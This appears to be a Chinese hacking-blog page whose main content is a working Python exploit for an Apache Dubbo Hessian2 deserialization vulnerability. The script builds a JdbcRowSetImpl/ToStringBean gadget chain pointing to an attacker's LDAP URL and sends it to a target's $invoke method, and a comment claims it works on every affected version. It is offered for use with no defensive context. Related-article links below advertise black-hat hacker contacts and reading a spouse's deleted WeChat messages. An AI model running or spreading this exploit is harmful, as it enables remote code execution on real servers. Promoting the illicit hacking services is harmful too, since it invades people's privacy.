Apache Dubbo反序列化漏洞

访客4年前 (2021-03-30)黑客文章833

# -*- coding: utf-8 -*-importsys fromdubbo.codec.hessian2 importDecoder,new_object fromdubbo.client importDubboClient iflen(sys.argv)<4:print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))print(' Example: - python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))sys.exit()client =DubboClient(sys.argv[1],int(sys.argv[2]))JdbcRowSetImpl=new_object('com.sun.rowset.JdbcRowSetImpl',dataSource=sys.argv[3],strMatchColumns=["foo"])JdbcRowSetImplClass=new_object('java.lang.Class',name="com.sun.rowset.JdbcRowSetImpl",)toStringBean=new_object('com.rometools.rome.feed.impl.ToStringBean',beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl )resp =client.send_request_and_return_response(service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',# 此处可以是 $invoke、$invokeSync、$echo 等，通杀 2.7.7 及 CVE 公布的所有版本。method_name='$invoke',args=[toStringBean])output =str(resp)if'Fail to decode request due to: RpcInvocation'inoutput:print('[!] Target maybe not support deserialization.')elif'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()'inoutput:print('[+] Succeed.')else:print('[!] Output:')print(output)print('[!] Target maybe not use dubbo-remoting library.')

标签: Apache Dubbo反序列化漏洞

返回列表

上一篇：三顾茅庐的主要内容（三顾茅庐赏析）

下一篇：浮躁的意思（你真的知道什么是浮躁吗）

相关文章

我想查一下我妻子和别人的微信聊天记录,他删了怎么查

怎么判断一部初学者特性应用多久呢？手机上的应用时间确实无法精确的去分辨，因为每一个人应用的方法都不一样，也不可以精确的分辨，究竟什么手机使用时间长？一样平时千元手机：三年之上；国内高档机：一年之上；...

针对某个人的聊天记录可以恢复吗(qq删除所有人聊天记录)

找到删除的聊天记录有四个方法,这三个方法都建立在你一个是你在删除前,备份了系统,可能通过系统还原会找回,二是你开了会员,在删除前已把聊天记。推荐你使用互盾安卓恢复大师,手机里被删除的照片像微信聊天记...

手机版黑客帝国bug（黑客帝国官方网站）

手机版黑客帝国bug（黑客帝国官方网站）

本文目录一览： 1、黑客帝国3如果史密斯是杀毒软件,那尼欧是病毒？尼欧是什么？BUG？ 2、黑客帝国的问题 3、对《黑客帝国》的一些疑问（黑迷进） 4、黑客帝国中，如果说尼奥是电脑程序中的...

手游交易平台被骗找黑客追回-黑帽黑客联系方式(先破解后接单的qq黑客联系方式)

手游交易平台被骗找黑客追回-黑帽黑客联系方式(先破解后接单的qq黑客联系方式)

手游交易平台被骗找黑客追回相关问题求专业黑客手机号找人相关问题 gta赌场怎么解锁黑客教人回复聊天的软件免费(有没有教人聊天的软件)...

俄罗斯一军事基地发何道峰生枪击事件致3名军人死亡

　　中新网11月9日电据法新社报道，当地时间9日，俄罗斯南部城市沃罗涅日附近一个军事基地发生枪击事件，一名俄军人开枪打死了三名战友。　　据报道，俄罗斯西部军区发布的一份声明显示：“三名军人在这次...

黑客帝国天花板（黑客帝国 tank）

黑客帝国天花板（黑客帝国 tank）

真正称得上零差评的6部科幻电影《阿凡达》只能排最后! 1、科幻片排名前十的电影有：《黑客帝国》、《阿凡达》、《盗梦空间》、《明日边缘》、《E.T.外星人》、《星际穿越》、《阿凡达：水之道》、《流浪地球...